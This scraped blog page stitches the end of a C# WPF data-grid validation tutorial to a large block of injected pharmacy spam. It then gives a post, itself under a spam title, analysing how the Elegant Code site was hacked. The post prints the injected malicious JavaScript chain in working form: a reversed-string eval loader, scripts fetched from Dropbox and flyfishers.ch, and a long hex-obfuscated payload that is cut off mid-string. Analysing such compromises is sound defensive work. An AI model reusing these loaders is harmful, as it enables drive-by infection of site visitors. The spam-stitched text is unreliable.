public MainWindow()
{
    InitializeComponent();

    var people = new HasParentObservableCollection<Person>();
    people.Add(new Person(){ FirstName = "Brian", LastName = "Lagunas"});
    xamDataGrid1.DataSource = people;
}

Now let’s run the app, type a duplicate last name, and see what we get.

collection_validated

Cool. Works as expected.  Now there are a number of ways to accomplish this task.  There are even frameworks out there that have already solved this problem for you such as CSLA.  I hope this simple approach helps you find a solution that works for you.

Download the Source.

, Retin-A used for. Retin-A wiki. Retin-A dangers. Where can i order Retin-A without prescription. Order Retin-A online overnight delivery no prescription. Effects of Retin-A. Buy Retin-A from canada. Retin-A pictures. Online buy Retin-A without a prescription. Cheap Retin-A no rx. Retin-A images. Real brand Retin-A online. Retin-A pharmacy. Retin-A over the counter. Herbal Retin-A. What is Retin-A. Where to buy Retin-A. Retin-A mg. Retin-A price, coupon. Retin-A dose. Retin-A from canadian pharmacy. Buy Retin-A no prescription. Purchase Retin-A for sale. Retin-A use. Retin-A blogs. Retin-A trusted pharmacy reviews. Online Retin-A without a prescription. Retin-A forum. Retin-A long term. Purchase Retin-A. Retin-A samples. Japan, craiglist, ebay, overseas, paypal. Discount Retin-A. Where can i buy cheapest Retin-A online. Retin-A schedule. Order Retin-A no prescription. Retin-A class. Retin-A alternatives. Retin-A no rx. Buy Retin-A without prescription.

Similar posts: Buy Toradol Without Prescription. Buy Cipro Without Prescription. Buy Combivent Without Prescription. Human Growth Hormone For Sale. Buy Modalert Without Prescription. What is Wellbutrin SR. Japan, craiglist, ebay, overseas, paypal. Buy cheap Metronidazole Gel. Buy Atenolol from mexico. Plavix treatment.
Trackbacks from: Retin-A For Sale. Retin-A For Sale. Retin-A For Sale. Retin-A For Sale. Retin-A For Sale. Retin-A interactions. Generic Retin-A. Retin-A wiki. Real brand Retin-A online. Retin-A dose.

Flagyl For Sale

April 10th, 2012

Flagyl For Sale, OK, cat out of the bag here, Elegant Code got hacked.  Most likely because someone figured out a username/password on the site.   That is the boring part.  Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.  OK, onto the interesting part!   What did the hackers do with this untold power (full admin rights to our web site)?  Well, they injected one link.  To a javascript file.  Which loaded another javascript file, which downloaded another,…., which downloaded a Java applet, which seems to load images in the background.

OK, the first link injected into the site (the site master page, or whatever they call it in wordpress php land – I don’t speak much of their language) was this:

[http://geistsweden.eu/wp-cache/]     a link that was kind enough to load this javascript.

   1: function r(s) { var i = 0; var ss = ''; for (i=s.length - 1; i >= 0; i--) { ss += s.charAt(i); } return ss; } try { new document(1111); } catch(e) { x = eval; x(r('"=crs "tpircsavaj/txet"=epyt tpircs<\'(etirw.tnemucod') + 'http://dl.dropbox.com/u/64856372/B4/Controle.js' + r(')\'>tpircs/<>"')); }

If you can read that, you would actually see it loading another javascript file from DropBox from the following url: [http://dl.dropbox.com/u/64856372/B4/Controle.js] which in turn loads this:

   1: document.write(unescape('%3Cscript%20src%3D%22http%3A%2F%2Fflyfishers.ch%2Fwp-admin%2FcPanelX%2Findex.php%3Fsetup%3Dd%22%3E%3C%2Fscript%3E'));

Using Google Chrome, load up a random web page, right-click and take “Inspect element” somewhere on the document.  Find the console tab, and you can enter in the entire part that matches “unescape(….)” and get the contents.  Magically you get ANOTHER URL:  [http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d].

Now, that part was easy, now it gets tricky, and long.  Here is the contents of that GET request:

   1: document.write('<sc' + 'ri' + 'pt src="http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d&s=2&r=' + Math.floor(100000 + (Math.random()*999999 + 1)) + '" type="text/javascript" charset="iso-8859-1"></sc' + 'ri' + 'pt>');

   2:  

   3:  

   4: function aAwJinPSCPg() { var moqbqYo = '\x76\x61\x72\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x20\x3d\x20\x27\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d\x27\x3b\x20\x76\x61\x72\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x20\x3d\x20\x27\x66\x3d\x28\x3c\x38\x3d\x3e\x79\x79\x40\x3d\x2b\x29\x29\x38\x37\x3d\x78\x2a\x37\x37\x2e\x79\x27\x3b\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x73\x29\x20\x7b\x20\x76\x61\x72\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x3d\x20\x27\x27\x3b\x20\x76\x61\x72\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x2d\x31\x3b\x20\x76\x61\x72\x20\x63\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x4a\x52\x74\x7a\x46\x74\x59\x20\x3d\x20\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x73\x29\x3b\x20\x20\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x3d\x30\x3b\x69\x3c\x4a\x52\x74\x7a\x46\x74\x59\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x69\x2b\x2b\x29\x20\x7b\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x29\x3b\x20\x69\x66\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3e\x3d\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x2d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x63\x29\x29\x20\x25\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x69\x66\x20\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3c\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x7d\x20\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x63\x68\x61\x72\x41\x74\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x29\x3b\x20\x20\x63\x2b\x2b\x3b\x20\x69\x66\x20\x28\x63\x20\x3e\x3d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x6c\x65\x6e\x67\x74\x68\x29\x20\x7b\x20\x63\x20\x3d\x20\x30\x3b\x20\x7d\x20\x7d\x20\x65\x6c\x73\x65\x20\x7b\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x3b\x20\x7d\x20\x7d\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x3b\x20\x7d\x20\x65\x76\x61\x6c\x28\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x27\x54\x57\x53\x25\x32\x30\x65\x6a\x69\x5f\x6f\x56\x67\x6e\x6e\x58\x5f\x51\x50\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x6a\x6e\x6b\x48\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\x25\x32\x30\x61\x51\x69\x5f\x53\x5a\x67\x6b\x6f\x6b\x5f\x52\x62\x59\x49\x55\x55\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x58\x70\x6a\x53\x25\x33\x41\x31\x31\x4a\x2e\x6a\x52\x57\x55\x58\x66\x71\x6b\x6b\x56\x71\x2e\x59\x53\x4f\x6e\x79\x74\x35\x78\x6b\x73\x76\x73\x72\x6a\x5a\x62\x31\x54\x57\x31\x75\x55\x25\x32\x42\x78\x70\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x58\x43\x69\x25\x32\x30\x5a\x6f\x63\x5f\x55\x55\x66\x56\x69\x52\x5f\x66\x42\x71\x52\x6b\x6b\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x59\x73\x70\x54\x25\x33\x41\x6e\x6e\x54\x2e\x69\x70\x51\x57\x53\x65\x62\x65\x52\x61\x53\x2e\x58\x66\x69\x38\x79\x75\x38\x33\x6d\x65\x6c\x32\x71\x37\x76\x6c\x53\x52\x48\x30\x67\x30\x6d\x77\x32\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x72\x58\x69\x25\x32\x30\x61\x72\x69\x5f\x56\x47\x52\x66\x68\x70\x5f\x5a\x44\x6c\x51\x56\x57\x44\x25\x30\x39\x38\x25\x32\x30\x25\x32\x37\x49\x6f\x6b\x6c\x25\x33\x41\x38\x32\x54\x2e\x72\x70\x45\x56\x45\x66\x6b\x6a\x6a\x48\x68\x2e\x53\x56\x64\x6a\x33\x66\x77\x77\x34\x79\x73\x32\x7a\x37\x6b\x46\x44\x56\x75\x78\x77\x6a\x31\x72\x73\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6d\x25\x32\x46\x6e\x25\x32\x30\x4b\x6e\x64\x5f\x6e\x62\x67\x66\x71\x70\x5f\x50\x51\x43\x55\x55\x5a\x25\x30\x39\x32\x25\x32\x30\x25\x32\x37\x4b\x6a\x6a\x57\x25\x33\x41\x32\x6a\x59\x2e\x54\x6f\x52\x70\x5a\x66\x6c\x6d\x70\x49\x54\x2e\x45\x66\x63\x37\x78\x68\x72\x76\x70\x72\x64\x37\x62\x36\x56\x32\x59\x72\x78\x35\x34\x4a\x6e\x64\x32\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x57\x68\x25\x32\x30\x4d\x69\x63\x5f\x59\x56\x4e\x6b\x53\x6f\x5f\x63\x6b\x58\x55\x57\x5a\x65\x50\x25\x30\x39\x6f\x25\x32\x30\x25\x32\x37\x4a\x6b\x6a\x6c\x25\x33\x41\x31\x6f\x53\x2e\x69\x61\x52\x52\x59\x50\x70\x65\x70\x62\x69\x2e\x54\x6e\x69\x70\x6a\x67\x73\x76\x34\x72\x6d\x31\x71\x73\x77\x65\x57\x63\x58\x56\x7a\x36\x32\x73\x25\x32\x42\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x72\x45\x54\x25\x32\x30\x4c\x6a\x63\x5f\x68\x51\x45\x5f\x65\x64\x25\x30\x39\x25\x30\x39\x25\x30\x39\x74\x25\x32\x30\x6b\x50\x71\x46\x25\x33\x42\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6b\x57\x46\x5f\x43\x45\x54\x55\x6f\x69\x25\x30\x39\x25\x30\x39\x70\x25\x32\x30\x25\x32\x37\x58\x6a\x61\x67\x25\x33\x41\x6a\x37\x47\x67\x70\x62\x66\x6a\x59\x64\x6e\x57\x2e\x45\x4a\x32\x6d\x6c\x2d\x51\x47\x63\x59\x55\x32\x41\x4c\x42\x69\x56\x68\x55\x32\x5a\x6d\x5a\x49\x5a\x2e\x52\x59\x66\x25\x33\x46\x57\x53\x57\x59\x65\x55\x33\x51\x70\x42\x6f\x6a\x5f\x57\x5a\x54\x56\x72\x6f\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x5a\x43\x54\x25\x32\x30\x61\x69\x69\x5f\x62\x44\x52\x5f\x5a\x48\x6d\x25\x32\x46\x6b\x4f\x25\x30\x39\x25\x30\x39\x37\x25\x32\x30\x25\x32\x37\x59\x70\x71\x67\x25\x33\x41\x32\x25\x32\x42\x62\x50\x61\x48\x5a\x69\x64\x55\x55\x69\x2e\x53\x4f\x32\x55\x6c\x2d\x42\x59\x64\x65\x6b\x32\x54\x4f\x57\x52\x47\x4e\x4f\x31\x65\x64\x47\x55\x6e\x2e\x57\x59\x4e\x25\x33\x46\x57\x44\x6f\x5a\x6b\x6b\x33\x6a\x73\x57\x58\x55\x5f\x4c\x52\x6c\x57\x65\x51\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\x25\x32\x30\x61\x51\x69\x5f\x4d\x56\x53\x5f\x66\x58\x6d\x52\x6e\x62\x4a\x25\x30\x39\x25\x30\x39\x6f\x25\x32\x30\x25\x32\x37\x4a\x6b\x6a\x6c\x25\x33\x41\x31\x6f\x56\x62\x66\x57\x47\x6f\x49\x5a\x69\x6f\x2e\x5a\x59\x32\x76\x6c\x2d\x45\x46\x4f\x5a\x64\x37\x53\x35\x51\x64\x4c\x63\x38\x37\x4a\x69\x55\x61\x75\x2e\x67\x59\x6f\x25\x33\x46\x57\x47\x56\x4b\x66\x64\x38\x69\x57\x51\x6a\x5a\x5f\x61\x25\x32\x46\x72\x42\x6a\x57\x62\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x73\x52\x69\x25\x32\x30\x69\x6f\x51\x5f\x4e\x43\x53\x5f\x62\x6b\x51\x47\x55\x54\x25\x30\x39\x25\x30\x39\x74\x25\x32\x30\x25\x32\x37\x59\x52\x70\x51\x25\x33\x41\x36\x32\x62\x69\x70\x57\x68\x6f\x4c\x47\x54\x6a\x2e\x53\x64\x31\x5a\x66\x2d\x51\x4b\x64\x47\x6a\x6d\x58\x47\x57\x6b\x56\x63\x57\x37\x4d\x50\x46\x56\x6e\x2e\x6c\x58\x53\x25\x33\x46\x51\x53\x61\x5a\x4d\x6a\x6e\x6e\x6b\x57\x71\x6a\x5f\x63\x6e\x57\x48\x47\x46\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6d\x51\x6e\x25\x32\x30\x5a\x56\x63\x5f\x62\x48\x53\x5f\x4a\x6b\x42\x59\x57\x57\x66\x63\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x67\x70\x58\x52\x25\x33\x41\x6e\x32\x56\x68\x6f\x49\x59\x69\x4f\x56\x50\x6f\x2e\x44\x63\x32\x73\x6d\x2d\x52\x55\x6c\x65\x52\x6e\x45\x47\x51\x6a\x55\x4f\x4e\x31\x50\x65\x42\x61\x59\x2e\x6b\x59\x6c\x25\x33\x46\x58\x54\x6b\x68\x6b\x52\x6f\x55\x6b\x51\x70\x69\x5f\x4f\x65\x51\x4b\x57\x25\x32\x46\x65\x4d\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6b\x6b\x45\x46\x47\x55\x25\x30\x39\x25\x30\x39\x25\x30\x39\x32\x25\x32\x30\x62\x51\x4f\x69\x55\x25\x33\x42\x25\x30\x44\x25\x30\x41\x63\x52\x50\x25\x32\x30\x66\x54\x68\x5f\x52\x6c\x6d\x63\x56\x73\x5f\x65\x52\x46\x47\x6f\x25\x30\x39\x32\x25\x32\x30\x78\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x44\x68\x25\x32\x30\x5a\x5a\x64\x5f\x25\x32\x46\x6c\x51\x67\x56\x70\x5f\x5a\x66\x6c\x6d\x70\x25\x30\x39\x71\x25\x32\x30\x65\x63\x72\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x57\x68\x25\x32\x30\x4d\x69\x63\x5f\x48\x67\x4e\x68\x46\x6f\x5f\x67\x6e\x62\x57\x5a\x77\x25\x30\x39\x38\x25\x32\x30\x25\x32\x37\x45\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x58\x43\x69\x25\x32\x30\x5a\x6f\x63\x5f\x44\x66\x66\x53\x56\x52\x5f\x71\x53\x67\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x64\x71\x6b\x67\x25\x33\x41\x25\x32\x42\x37\x45\x46\x58\x52\x64\x59\x55\x47\x67\x6b\x48\x63\x47\x70\x5a\x6e\x70\x6f\x71\x56\x64\x2e\x62\x6b\x51\x6e\x76\x56\x6a\x37\x39\x48\x6a\x2e\x66\x4f\x67\x25\x33\x46\x25\x32\x46\x38\x6d\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6f\x6b\x54\x57\x50\x55\x55\x6e\x5f\x6b\x55\x62\x25\x30\x39\x32\x25\x32\x30\x25\x32\x37\x4f\x6b\x52\x6c\x25\x33\x41\x6d\x36\x54\x61\x69\x6c\x63\x5a\x6e\x46\x51\x4f\x2e\x54\x65\x69\x31\x4d\x69\x31\x4a\x63\x47\x59\x4c\x6b\x66\x6c\x2e\x67\x6a\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x57\x74\x6a\x47\x56\x4b\x66\x64\x25\x32\x30\x46\x49\x32\x5f\x57\x55\x61\x34\x4e\x6c\x4d\x5a\x6b\x51\x4f\x43\x25\x32\x38\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x32\x25\x32\x42\x57\x50\x47\x54\x6b\x25\x32\x38\x5a\x6f\x63\x5f\x44\x66\x66\x53\x56\x52\x5f\x71\x53\x67\x25\x32\x30\x31\x25\x32\x30\x66\x70\x64\x5f\x52\x6f\x6c\x50\x47\x56\x5f\x67\x68\x61\x56\x4c\x6e\x25\x32\x30\x30\x25\x32\x30\x51\x6a\x4b\x5f\x57\x51\x6b\x63\x61\x71\x5f\x5a\x65\x63\x61\x62\x25\x32\x30\x6d\x25\x32\x30\x25\x32\x37\x2e\x4c\x52\x68\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x6e\x55\x57\x6b\x68\x55\x25\x32\x30\x61\x51\x69\x5f\x42\x6b\x67\x68\x62\x6b\x5f\x6c\x71\x68\x25\x32\x30\x6f\x25\x32\x30\x4c\x55\x64\x5f\x51\x6c\x66\x4f\x55\x6a\x5f\x57\x69\x43\x62\x4a\x73\x25\x32\x30\x31\x25\x32\x30\x66\x70\x64\x5f\x52\x6f\x6c\x50\x47\x56\x5f\x5a\x64\x5a\x55\x61\x25\x32\x30\x30\x25\x32\x30\x25\x32\x37\x2e\x5a\x48\x69\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x44\x71\x4f\x58\x6b\x65\x6c\x65\x25\x32\x30\x41\x52\x49\x5f\x47\x54\x47\x52\x6a\x61\x25\x32\x46\x49\x68\x51\x54\x56\x25\x32\x38\x51\x6e\x44\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x71\x52\x6e\x25\x32\x30\x66\x57\x69\x5a\x69\x49\x25\x32\x30\x6f\x25\x32\x30\x46\x66\x53\x71\x63\x48\x64\x6a\x2e\x4a\x69\x43\x57\x55\x5a\x38\x68\x62\x64\x56\x6d\x70\x25\x32\x38\x25\x32\x37\x4d\x48\x54\x52\x63\x61\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x59\x49\x68\x51\x54\x56\x2e\x51\x6e\x44\x25\x32\x30\x37\x25\x32\x30\x6a\x6e\x5a\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x57\x71\x57\x51\x47\x2e\x55\x6b\x6f\x68\x55\x2e\x59\x59\x69\x50\x53\x47\x68\x4a\x6f\x70\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x65\x5a\x55\x63\x61\x52\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x4b\x48\x69\x51\x69\x55\x2e\x56\x6a\x6f\x53\x56\x2e\x42\x65\x54\x6b\x63\x57\x76\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x5a\x6d\x68\x4d\x50\x47\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x56\x6e\x51\x50\x55\x2e\x69\x61\x70\x4a\x61\x2e\x4e\x56\x69\x63\x66\x65\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x7a\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x65\x4a\x54\x43\x64\x55\x2e\x6f\x6a\x62\x62\x55\x2e\x57\x52\x42\x5a\x4a\x69\x58\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x78\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x57\x71\x57\x51\x47\x2e\x55\x6b\x6f\x68\x55\x2e\x45\x65\x68\x4b\x56\x50\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x4f\x6a\x65\x61\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x66\x57\x69\x5a\x69\x49\x2e\x55\x56\x70\x62\x61\x2e\x6d\x4c\x54\x6a\x4f\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x59\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x65\x47\x6d\x52\x69\x62\x2e\x6a\x6b\x78\x68\x49\x2e\x4a\x47\x5a\x57\x64\x6a\x25\x32\x30\x70\x25\x32\x30\x25\x32\x37\x71\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x68\x4c\x6b\x53\x6e\x4f\x25\x32\x30\x64\x57\x6e\x58\x64\x56\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x65\x71\x52\x45\x56\x5a\x65\x6a\x25\x32\x30\x25\x33\x44\x38\x43\x5f\x53\x59\x56\x25\x32\x46\x70\x46\x4e\x54\x6e\x66\x67\x6b\x25\x32\x38\x72\x6e\x47\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x58\x43\x69\x25\x32\x30\x69\x59\x68\x4c\x66\x6a\x25\x32\x30\x74\x25\x32\x30\x55\x4d\x59\x56\x68\x56\x6a\x71\x2e\x54\x69\x64\x57\x58\x47\x74\x63\x55\x69\x55\x51\x6a\x25\x32\x38\x25\x32\x37\x69\x4a\x69\x47\x6c\x55\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x6e\x54\x6e\x66\x67\x6b\x2e\x73\x75\x54\x47\x25\x32\x30\x6f\x25\x32\x30\x25\x32\x37\x6b\x55\x74\x6a\x6f\x5a\x51\x63\x52\x51\x59\x53\x64\x67\x70\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x70\x54\x69\x68\x6c\x58\x2e\x55\x54\x54\x25\x32\x30\x32\x25\x32\x30\x6f\x68\x46\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x68\x55\x61\x6c\x50\x6a\x25\x32\x30\x54\x58\x69\x65\x6d\x6b\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x57\x74\x6a\x47\x56\x4b\x66\x64\x25\x32\x30\x63\x55\x57\x4e\x43\x35\x25\x32\x46\x52\x70\x51\x4d\x56\x6d\x72\x56\x6a\x73\x25\x32\x38\x25\x32\x39\x25\x32\x30\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x65\x4a\x25\x32\x30\x25\x32\x38\x59\x4b\x65\x54\x6b\x6d\x2e\x41\x43\x42\x31\x6b\x52\x6c\x35\x5a\x68\x71\x62\x6a\x6b\x25\x32\x39\x25\x32\x30\x71\x61\x58\x57\x54\x65\x25\x32\x30\x64\x61\x6d\x25\x32\x30\x5a\x59\x64\x4b\x66\x55\x2e\x54\x30\x47\x25\x32\x46\x70\x71\x67\x49\x64\x6d\x59\x47\x55\x6b\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x55\x68\x69\x48\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x6a\x68\x66\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x69\x43\x70\x56\x6d\x65\x25\x32\x30\x6a\x62\x6e\x25\x32\x30\x34\x62\x70\x4d\x58\x47\x4f\x45\x58\x5a\x48\x53\x6a\x25\x32\x38\x25\x32\x32\x36\x5a\x41\x6e\x50\x6e\x66\x62\x71\x2e\x4f\x44\x4b\x44\x25\x32\x42\x38\x34\x25\x32\x32\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x54\x51\x70\x53\x4b\x25\x32\x38\x55\x6e\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x59\x56\x52\x71\x53\x69\x25\x32\x30\x65\x71\x69\x63\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x57\x74\x6a\x47\x56\x4b\x66\x64\x25\x32\x30\x46\x49\x32\x5f\x62\x51\x49\x49\x43\x6c\x50\x6d\x6b\x25\x32\x38\x71\x6f\x63\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x6d\x5a\x6e\x25\x32\x30\x53\x36\x47\x68\x25\x32\x30\x32\x25\x32\x30\x63\x55\x57\x4e\x43\x35\x25\x32\x46\x52\x70\x51\x4d\x56\x6d\x72\x56\x6a\x73\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x65\x4a\x25\x32\x30\x25\x32\x38\x51\x36\x56\x67\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x6b\x48\x48\x67\x2e\x65\x55\x69\x43\x57\x45\x74\x6a\x70\x58\x6b\x56\x62\x64\x45\x50\x49\x56\x25\x32\x30\x32\x25\x32\x30\x62\x6b\x51\x53\x6a\x50\x66\x4c\x25\x32\x30\x25\x32\x38\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x65\x47\x25\x32\x30\x25\x32\x38\x6a\x49\x61\x6e\x2e\x69\x56\x5a\x5a\x63\x37\x56\x52\x6a\x61\x25\x32\x30\x32\x70\x25\x32\x30\x75\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x39\x59\x4d\x25\x32\x30\x25\x32\x38\x66\x32\x61\x52\x2e\x6e\x6b\x57\x71\x6c\x6a\x25\x32\x30\x25\x32\x46\x38\x25\x32\x30\x67\x63\x63\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x39\x32\x31\x73\x59\x51\x54\x65\x64\x2e\x52\x4a\x61\x53\x6f\x25\x32\x38\x25\x32\x37\x57\x6e\x6c\x64\x25\x32\x30\x54\x5a\x68\x50\x44\x43\x54\x61\x25\x32\x30\x25\x32\x37\x25\x32\x30\x36\x25\x32\x30\x65\x37\x55\x67\x2e\x59\x56\x51\x6c\x50\x69\x6a\x61\x51\x56\x6f\x73\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x